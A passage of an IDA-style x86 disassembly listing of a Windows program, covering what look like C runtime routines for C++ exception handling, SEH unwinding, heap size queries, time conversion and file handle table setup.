					; sub_421C16+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DB8
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421DBD
		add	esp, 20h
		jmp	short loc_421D8D
; ---------------------------------------------------------------------------


loc_421DB8:				; CODE XREF: sub_421C16+180j
		jmp	sub_4223CC
sub_421C16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DBD	proc near		; CODE XREF: sub_421C16+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4E15A0, 0
		push	esi
		push	edi
		jz	short loc_421DEE
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D06E
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421E61


loc_421DEE:				; CODE XREF: sub_421DBD+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D197
		add	esp, 14h
		mov	esi, eax


loc_421E0A:				; CODE XREF: sub_421DBD+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421E61
		cmp	edi, [esi]
		jl	short loc_421E59
		cmp	edi, [esi+4]
		jg	short loc_421E59
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421E33
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421E59


loc_421E33:				; CODE XREF: sub_421DBD+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421F76
		add	esp, 2Ch


loc_421E59:				; CODE XREF: sub_421DBD+57j
					; sub_421DBD+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421E0A
; ---------------------------------------------------------------------------


loc_421E61:				; CODE XREF: sub_421DBD+2Fj
					; sub_421DBD+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421DBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E65	proc near		; CODE XREF: sub_421C16+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_421EBC
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_421EBC
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_421E96
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421EB8


loc_421E96:				; CODE XREF: sub_421E65+1Fj
		test	byte ptr [esi],	2
		jz	short loc_421EA0
		test	byte ptr [edi],	8
		jz	short loc_421EB8


loc_421EA0:				; CODE XREF: sub_421E65+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_421EAF
		test	byte ptr [edi],	1
		jz	short loc_421EB8


loc_421EAF:				; CODE XREF: sub_421E65+43j
		test	al, 2
		jz	short loc_421EBC
		test	byte ptr [edi],	2
		jnz	short loc_421EBC


loc_421EB8:				; CODE XREF: sub_421E65+2Fj
					; sub_421E65+39j ...
		xor	eax, eax
		jmp	short loc_421EBF
; ---------------------------------------------------------------------------


loc_421EBC:				; CODE XREF: sub_421E65+Bj
					; sub_421E65+14j ...
		push	1
		pop	eax


loc_421EBF:				; CODE XREF: sub_421E65+55j
		pop	edi
		pop	esi
		retn
sub_421E65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EC2	proc near		; CODE XREF: sub_421B7B+34p
					; sub_421F76+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A0
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_421EF4:				; CODE XREF: sub_421EC2+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_421F4E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_421F03
		cmp	esi, [edi+4]
		jl	short loc_421F08


loc_421F03:				; CODE XREF: sub_421EC2+3Aj
		call	sub_422422


loc_421F08:				; CODE XREF: sub_421EC2+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_421F23
		push	103h
		push	ebx
		push	eax
		call	sub_422380


loc_421F23:				; CODE XREF: sub_421EC2+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_421F43
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_421F60
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_421F43:				; CODE XREF: sub_421EC2+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_421EF4
; ---------------------------------------------------------------------------


loc_421F4E:				; CODE XREF: sub_421EC2+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421EC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_421F60	proc near		; CODE XREF: sub_421EC2+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_421F71
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421F71:				; CODE XREF: sub_421F60+Cj
		jmp	sub_4223CC
sub_421F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F76	proc near		; CODE XREF: sub_421C16+151p
					; sub_421DBD+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_421F98
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422127
		add	esp, 10h


loc_421F98:				; CODE XREF: sub_421F76+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_421FA4
		push	edi
		jmp	short loc_421FA7
; ---------------------------------------------------------------------------


loc_421FA4:				; CODE XREF: sub_421F76+29j
		push	[ebp+arg_24]


loc_421FA7:				; CODE XREF: sub_421F76+2Cj
		call	sub_41CF70
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_421EC2
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_421FF1
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_421FEC
		push	edi
		push	eax
		call	sub_41CF2E


loc_421FEC:				; CODE XREF: sub_421F76+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421F76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421FF1	proc near		; CODE XREF: sub_421F76+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B0
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4E1598
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4E159C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4E1598, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4E159C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41CFF5
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4220B7
		mov	eax, [ebp+var_2C]


loc_42207E:				; CODE XREF: sub_422097+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421FF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42208D	proc near		; DATA XREF: .nsp0:004278C0o
		push	dword ptr [ebp-14h]
		call	sub_4220FD
		pop	ecx
		retn
sub_42208D	endp


; =============== S U B	R O U T	I N E =======================================



sub_422097	proc near		; DATA XREF: .nsp0:004278C4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D256
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_42207E
sub_422097	endp

; ---------------------------------------------------------------------------


loc_4220AF:				; DATA XREF: .nsp0:004278B8o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_4220B7	proc near		; CODE XREF: sub_421FF1+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4E1598, eax
		mov	eax, [ebp-20h]
		mov	dword_4E159C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_4220FC
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_4220FC
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_4220FC
		cmp	[ebp-24h], ebx
		jnz	short locret_4220FC
		cmp	[ebp-2Ch], ebx
		jz	short locret_4220FC
		call	sub_41D2BE
		push	eax
		push	edi
		call	sub_4222EB
		pop	ecx
		pop	ecx

locret_4220FC:				; CODE XREF: sub_4220B7+1Cj
					; sub_4220B7+22j ...
		retn
sub_4220B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FD	proc near		; CODE XREF: sub_42208D+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422124
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422124
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422124
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422124
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422124:				; CODE XREF: sub_4220FD+Cj
					; sub_4220FD+12j ...
		xor	eax, eax
		retn
sub_4220FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422127	proc near		; CODE XREF: sub_421F76+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_4222D0
		cmp	byte ptr [eax+8], 0
		jz	loc_4222D0
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_4222D0
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_4221C4
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4245D0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4222C7
		push	1
		push	edi
		call	sub_4245EC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4222C7
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_4221B5:				; CODE XREF: sub_422127+F5j
		push	eax
		call	sub_422352
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_4222CC
; ---------------------------------------------------------------------------


loc_4221C4:				; CODE XREF: sub_422127+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_42221E
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4245D0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4222C7
		push	1
		push	edi
		call	sub_4245EC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4222C7
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D330
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_4222CC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_4222CC
		add	esi, 8
		push	esi
		jmp	short loc_4221B5
; ---------------------------------------------------------------------------


loc_42221E:				; CODE XREF: sub_422127+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422266
		call	sub_4245D0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4222C7
		push	1
		push	edi
		call	sub_4245EC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4222C7
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422352
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D330
		add	esp, 0Ch
		jmp	short loc_4222CC
; ---------------------------------------------------------------------------


loc_422266:				; CODE XREF: sub_422127+103j
		call	sub_4245D0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4222C7
		push	1
		push	edi
		call	sub_4245EC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4222C7
		push	dword ptr [esi+18h]
		call	sub_424608
		pop	ecx
		test	eax, eax
		jz	short loc_4222C7
		test	byte ptr [esi],	4
		jz	short loc_4222AD
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422352
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41CF69
		jmp	short loc_4222CC
; ---------------------------------------------------------------------------


loc_4222AD:				; CODE XREF: sub_422127+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422352
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41CF62
		jmp	short loc_4222CC
; ---------------------------------------------------------------------------


loc_4222C7:				; CODE XREF: sub_422127+6Aj
					; sub_422127+7Cj ...
		call	sub_422422


loc_4222CC:				; CODE XREF: sub_422127+98j
					; sub_422127+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_4222D0:				; CODE XREF: sub_422127+2Ej
					; sub_422127+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422127	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_4223CC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222EB	proc near		; CODE XREF: sub_421C16+170p
					; sub_4220B7+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422332
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422332
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41CF62
		or	[ebp+var_4], 0FFFFFFFFh


loc_422332:				; CODE XREF: sub_4222EB+2Aj
					; sub_4222EB+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222EB	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_4223CC

; =============== S U B	R O U T	I N E =======================================



sub_422352	proc near		; CODE XREF: sub_422127+8Fp
					; sub_422127+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422373
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422373:				; CODE XREF: sub_422352+12j
		pop	esi
		retn
sub_422352	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422380	proc near		; CODE XREF: sub_41CFF5+40p
					; sub_421EC2+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D2E1
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_4223BF
		mov	ecx, 2


loc_4223BF:				; CODE XREF: sub_422380+38j
		push	ecx
		call	sub_41D2E1
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422380	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4223CC	proc near		; CODE XREF: sub_421C16:loc_421DB8j
					; sub_421F60:loc_421F71j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424620 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E8
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4E15A4
		test	eax, eax
		jz	short loc_422414
		mov	[ebp+var_4], 1
		call	eax ; dword_4E15A4
		jmp	short loc_422410
; ---------------------------------------------------------------------------


loc_422409:				; DATA XREF: .nsp0:004278F8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42240D:				; DATA XREF: .nsp0:004278FCo
		mov	esp, [ebp+var_18]


loc_422410:				; CODE XREF: sub_4223CC+3Bj
		and	[ebp+var_4], 0


loc_422414:				; CODE XREF: sub_4223CC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_42241D:				; DATA XREF: .nsp0:004278F0o
		jmp	loc_424620
sub_4223CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422422	proc near		; CODE XREF: sub_41D197+23p
					; sub_41D197:loc_41D202p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_442B34
		test	eax, eax
		jz	short loc_42246A
		mov	[ebp+var_4], 1
		call	eax ; sub_4223CC
		jmp	short loc_422466
; ---------------------------------------------------------------------------


loc_42245F:				; DATA XREF: .nsp0:00427910o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422463:				; DATA XREF: .nsp0:00427914o
		mov	esp, [ebp+var_18]


loc_422466:				; CODE XREF: sub_422422+3Bj
		and	[ebp+var_4], 0


loc_42246A:				; CODE XREF: sub_422422+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422473:				; DATA XREF: .nsp0:00427908o
		jmp	sub_4223CC
sub_422422	endp


; =============== S U B	R O U T	I N E =======================================



sub_422478	proc near		; CODE XREF: sub_41D673+7p
					; sub_41D673+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_41E3A7
		test	eax, eax
		pop	ecx
		jz	short loc_422490
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_422490:				; CODE XREF: sub_422478+Ej
		push	esi
		push	0
		push	dword_4E2B80
		call	dword_427058	; RtlSizeHeap
		pop	esi
		retn
sub_422478	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4224A1	proc near		; CODE XREF: sub_41D721+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_42255D
		cmp	ebx, 8Ah
		jg	loc_42255D
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_442FFC[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4224E0
		cmp	edi, 2
		jle	short loc_4224E0
		inc	esi


loc_4224E0:				; CODE XREF: sub_4224A1+37j
					; sub_4224A1+3Cj
		call	sub_424637
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_442F18
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_422553
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422559
		cmp	dword_442F1C, 0
		jz	short loc_422559
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4248AA
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422559


loc_422553:				; CODE XREF: sub_4224A1+90j
		add	ecx, dword_442F20


loc_422559:				; CODE XREF: sub_4224A1+96j
					; sub_4224A1+9Fj ...
		mov	eax, ecx
		jmp	short loc_422560
; ---------------------------------------------------------------------------


loc_42255D:				; CODE XREF: sub_4224A1+13j
					; sub_4224A1+1Fj
		or	eax, 0FFFFFFFFh


loc_422560:				; CODE XREF: sub_4224A1+BAj
		pop	ebx
		leave
		retn
sub_4224A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_422563	proc near		; DATA XREF: .nsp0:0042902Co
		mov	eax, dword_4E2940
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_422577
		mov	eax, 200h
		jmp	short loc_42257D
; ---------------------------------------------------------------------------


loc_422577:				; CODE XREF: sub_422563+Bj
		cmp	eax, esi
		jge	short loc_422582
		mov	eax, esi


loc_42257D:				; CODE XREF: sub_422563+12j
		mov	dword_4E2940, eax


loc_422582:				; CODE XREF: sub_422563+16j
		push	4
		push	eax
		call	sub_424B96
		pop	ecx
		mov	dword_4E1924, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_4225B6
		push	4
		push	esi
		mov	dword_4E2940, esi
		call	sub_424B96
		pop	ecx
		mov	dword_4E1924, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_4225B6
		push	1Ah
		call	sub_41E0F9
		pop	ecx


loc_4225B6:				; CODE XREF: sub_422563+30j
					; sub_422563+49j
		xor	ecx, ecx
		mov	eax, offset off_442B38


loc_4225BD:				; CODE XREF: sub_422563+6Ej
		mov	edx, dword_4E1924
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_442DB8
		jl	short loc_4225BD
		xor	edx, edx
		mov	ecx, offset dword_442B48


loc_4225DA:				; CODE XREF: sub_422563+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4E1820[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4225F7
		test	eax, eax
		jnz	short loc_4225FA


loc_4225F7:				; CODE XREF: sub_422563+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4225FA:				; CODE XREF: sub_422563+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_442BA8
		jl	short loc_4225DA
		pop	esi
		retn
sub_422563	endp


; =============== S U B	R O U T	I N E =======================================



sub_422608	proc near		; DATA XREF: .nsp0:0042903Co

; FUNCTION CHUNK AT 00424C13 SIZE 00000058 BYTES

		call	sub_41E2B7
		cmp	byte_4E1538, 0
		jz	short locret_42261B
		jmp	loc_424C13
; ---------------------------------------------------------------------------

locret_42261B:				; CODE XREF: sub_422608+Cj
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================



sub_42261C	proc near		; CODE XREF: .nsp0:0041D924p
					; sub_41EF81+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4E1920
		push	esi
		push	edi
		jnb	short loc_42269E
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4E1820h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_42269E
		push	eax
		call	sub_4237BE
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422660
		mov	dword_4E14F8, 9
		jmp	short loc_4226AF
; ---------------------------------------------------------------------------


